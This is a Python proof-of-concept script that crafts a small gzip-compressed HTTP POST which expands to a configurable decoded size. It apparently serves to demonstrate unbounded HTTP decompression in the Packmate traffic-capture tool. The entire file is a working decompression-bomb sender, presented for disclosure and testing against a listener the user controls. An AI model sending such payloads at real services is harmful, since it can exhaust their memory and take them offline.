packmate/poc/http_gzip_expansion.py
2026-10-10 03:46:23 +03:00

141 lines
4.6 KiB
Python

#!/usr/bin/env python3
"""Send a small gzip-compressed HTTP request with a configurable decoded size.
The target must have a TCP listener on the selected port. Packmate must capture
that connection and have the port configured as an HTTP service.
"""
from __future__ import annotations
import argparse
import socket
import sys
import zlib
CHUNK_SIZE = 1024 * 1024
DEFAULT_DECOMPRESSED_BYTES = 8 * 1024 * 1024
def byte_count(value: str) -> int:
"""Parse a positive byte count, optionally with KiB/MiB/GiB suffixes."""
suffixes = {
"": 1,
"b": 1,
"kib": 1024,
"mib": 1024**2,
"gib": 1024**3,
"kb": 1000,
"mb": 1000**2,
"gb": 1000**3,
}
normalized = value.strip().lower()
number = normalized
suffix = ""
for candidate in sorted(suffixes, key=len, reverse=True):
if candidate and normalized.endswith(candidate):
number = normalized[: -len(candidate)]
suffix = candidate
break
try:
result = int(number) * suffixes[suffix]
except (KeyError, ValueError) as exc:
raise argparse.ArgumentTypeError(
"use an integer byte count, optionally with KiB/MiB/GiB"
) from exc
if result <= 0:
raise argparse.ArgumentTypeError("the decoded size must be greater than zero")
return result
def gzip_repeated_bytes(decoded_size: int, fill_byte: int = ord("A")) -> bytes:
"""Create gzip data without allocating the decoded representation."""
compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS)
compressed_parts: list[bytes] = []
full_chunk = bytes([fill_byte]) * CHUNK_SIZE
remaining = decoded_size
while remaining:
current_size = min(remaining, CHUNK_SIZE)
compressed_parts.append(compressor.compress(full_chunk[:current_size]))
remaining -= current_size
compressed_parts.append(compressor.flush())
return b"".join(compressed_parts)
def build_request(host_header: str, path: str, decoded_size: int) -> tuple[bytes, int]:
body = gzip_repeated_bytes(decoded_size)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host_header}\r\n"
"Content-Type: application/octet-stream\r\n"
"Content-Encoding: gzip\r\n"
f"Content-Length: {len(body)}\r\n"
f"X-Packmate-Decoded-Bytes: {decoded_size}\r\n"
"Connection: close\r\n"
"\r\n"
).encode("ascii")
return headers + body, len(body)
def send_request(host: str, port: int, request: bytes, timeout: float) -> None:
with socket.create_connection((host, port), timeout=timeout) as connection:
connection.settimeout(timeout)
connection.sendall(request)
connection.shutdown(socket.SHUT_WR)
def parser() -> argparse.ArgumentParser:
result = argparse.ArgumentParser(
description=(
"Send a gzip HTTP POST to demonstrate Packmate's unbounded HTTP "
"decompression. Use only against a listener you control."
)
)
result.add_argument("--host", default="127.0.0.1", help="target host (default: loopback)")
result.add_argument("--port", required=True, type=int, help="target TCP port")
result.add_argument(
"--decompressed-bytes",
type=byte_count,
default=DEFAULT_DECOMPRESSED_BYTES,
help="decoded body size, e.g. 104857600 or 100MiB (default: 8MiB)",
)
result.add_argument("--path", default="/packmate-gzip-poc", help="HTTP request path")
result.add_argument("--timeout", default=10.0, type=float, help="connect/send timeout in seconds")
return result
def main() -> int:
args = parser().parse_args()
if not 1 <= args.port <= 65535:
print("error: port must be between 1 and 65535", file=sys.stderr)
return 2
if not args.path.startswith("/"):
print("error: path must start with '/'", file=sys.stderr)
return 2
request, compressed_size = build_request(
f"{args.host}:{args.port}", args.path, args.decompressed_bytes
)
ratio = args.decompressed_bytes / compressed_size
print(f"Target: {args.host}:{args.port}")
print(f"Compressed body: {compressed_size:,} bytes")
print(f"Decoded body: {args.decompressed_bytes:,} bytes")
print(f"Expansion ratio: {ratio:,.1f}x")
print(f"TCP bytes to send: {len(request):,} bytes")
try:
send_request(args.host, args.port, request, args.timeout)
except OSError as exc:
print(f"send failed: {exc}", file=sys.stderr)
return 1
print("Request sent. Wait for the stream to close or for Packmate's timeout.")
return 0
if __name__ == "__main__":
raise SystemExit(main())